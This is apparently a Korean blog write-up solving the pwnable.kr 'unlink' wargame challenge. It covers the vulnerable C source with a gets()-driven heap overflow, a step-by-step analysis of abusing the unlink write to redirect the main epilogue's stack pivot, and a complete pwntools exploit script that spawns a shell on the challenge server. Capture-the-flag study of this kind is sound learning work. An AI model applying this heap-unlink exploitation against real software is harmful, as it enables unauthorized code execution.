tmxklab

[pwnable.kr] unlink 본문

War Game/pwnable.kr

[pwnable.kr] unlink

tmxk4221 2020. 12. 2. 15:47

1. 문제 확인

 

파일 확인

unlink@pwnable:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn   49 Nov 23  2016 flag
-rw-r----- 1 root unlink_pwn  543 Nov 28  2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23  2016 unlink
-rw-r--r-- 1 root root        749 Nov 23  2016 unlink.c

intended_solution.txt파일도 하나 더 있는데 쉘을 따고 나서 보자

 

[ unlink.c ]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

A, B, C는 double linked list로 구성되어 있고 A의 stack, heap주소를 출력해준다. 그리고 gets(A→buf)를 통해 입력을 받을 수 있다. 여기서 heap overflow가 발생한다. 마지막으로 B를 unlink해준다.

 

 

위 사진은 unlink파일을 실행시켰을 때 상황이다.

 

우리의 목표는 shell함수를 실행시키는 것이다.


2. 접근 방법

 

첫 번째 접근 방법)

간단하게 heap, stack address가 주어지고 gets(A→buf)에서 heap overflow가 발생하니 B를 unlink할 때 요리조리 주작해서 ret에다가 shell()주소를 넣으면 될 줄 알았다.

 

unlink부분을 잘 보면 결국엔 다음 두 줄이 실행된다.

  • P→fd→bk = P→bk
  • P→bk→fd = P→fd

참고로 여기서 P는 B를 의미한다.

 

따라서, ret에다가 shell()주소를 넣으려면

P→fd→bk(=ret address) = P→bk(shell address)

또는

P→bk→fd(=ret address) = P→fd(shell address)

가 되면 넣을 수 있을 것이다.

 

하지만 만약 위의 첫 번째 방법으로 하면은 ret에 shell address를 넣을 수 있으나 그 다음 행인 P→bk→fd(shell + 0x4)에다가 P→fd값을 넣게 되는데 이 때, shell()은 code영역이며 write권한이 없어 불가능하다.

반대로 두 번째 P→bk→fd에다가 ret address를 넣어야하는데 불가능한 이유는 P→bk는 A를 의미하고 결국엔 A→fd에다가 ret를 넣어야하는데 A→buf부터 입력을 받을 수 있으므로 A→fd를 주작할 수 없다.

 

두 번째 접근 방법)

어떻게 하면은 익스플로잇할 수 있을지 생각하다가 main함수의 에필로그 부분에 힌트를 얻었다.

에필로그 부분이 평소에 보던 것과 조금 다르다.

mov ecx, DWORD PTR [ebp-0x4]  // ecx에 ebp-0x4의 값을 넣는다.

leave                                                        // mov esp, ebp ; pop ebp

lea esp, [ecx-0x4]                                // esp에 ecx-0x4의 주소를 넣는다.

ret                                                              // pop eip ; jmp eip

 

 

디버깅을 하면서 이 부분을 자세히 확인해보면

ebp-0x4에는 0xffffd100이 담겨져 있고 ecx에 0xffffd100 복사

 

leave인스트럭션을 실행하면서 esp에 ebp값을 복사하고 ebp를 pop한다.

 

마지막으로 lea esp, [ecx-0x4]를 실행하게 되면서 ecx-0x4의 주소 값인 0xffffd100-0x4 = 0xffffd0fc를 esp에 넣는다.

그리고 ret할 때 pop eip, jmp eip를 하게 될 텐데 결국엔 현재 esp가 가리키는 __libc_start_main+241로 점프하게 된다.

 

위 과정을 이용하여 ebp-0x4에 heap영역의 주소를 넣으면 heap영역을 stack영역처럼 사용할 수 있게 되고 lea esp, [ecx-0x4]와 ret를 하게 되면서 heap영역에 박아뒀던 shell함수를 실행할 수 있게 될 것이다.

 

그림으로 표현하면 다음과 같이 만들면 된다.

 

ebp-0x4가 왜 dummy를 가리키는 이유는 "lea esp, ecx-0x4" 로 인해 shell을 가리키도록 맞춰주기 위함이다.

 


3. 문제 풀이

 

그럼 두 번째 방법을 통해 위 구조를 만들기 위해서 unlink를 이용해야 한다.

unlink할 때 사용하는 P→bk→fd = P→fd를 이용해 보자

 

P→bk→fd를 ebp-0x4로 만들고 P→fd를 A→buf[8]로 만들면 된다.

P→bk는 B→bk이며 B→bk→fd는 B→bk랑 같다. (모르면 디버깅 ㄱㄱ)

결국엔 B→bk에는 ebp-0x4 주소를 넣으면 되고 P→fd에는 A→buf[8]을 넣으면 된다.

 

그럼 unlink의 첫 번째 문장을 실행시킬 때 문제는 없는지 확인해보자

위와 같이 heap영역에 값을 채우고 실행하면 결국엔 A→buf[8]에서 bk를 가리키는 주소에 [ebp-0x4]값이 들어간다.

 

위에 노란색 부분은 heap영역이므로 문제없이 실행된다.

 

디버깅 하면 일케 됨

 

뭐 unlink도 잘 되고 결국엔

lea esp, [ecx-0x4]하고 ret하면 shell() 실행할 수 있음

 

leak한 heap, stack주소는 알아서 위에 설명한 것처럼 맞춰주면 됨

 

익스 코드)

from pwn import *

context.log_level = "debug"

ssh = ssh(user="unlink", host="pwnable.kr", port=2222, password='guest')
p = ssh.process("/home/unlink/unlink")
e = ELF("./unlink")
shell = e.symbols['shell']

p.recvuntil("leak: ")
leak_stack = int(p.recvuntil("\n"), 16)
p.recvuntil("leak: ")
leak_heap = int(p.recvuntil("\n"), 16)

log.info("leak_stack : "+hex(leak_stack))
log.info("leak_heap  : "+hex(leak_heap))

payload = p32(shell)
payload += "A"*12
payload += p32(leak_heap+12)
payload += p32(leak_stack+16)

p.sendlineafter("shell!\n", payload)

p.interactive()

 

실행결과)


4. 몰랐던 개념

 

'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] horcruxes  (0) 2020.12.02
[pwnable.kr] blukat  (0) 2020.12.02
[pwnable.kr] asm  (0) 2020.12.02
[pwnable.kr] memcpy  (0) 2020.12.02
[pwnable.kr] uaf  (0) 2020.12.02
Comments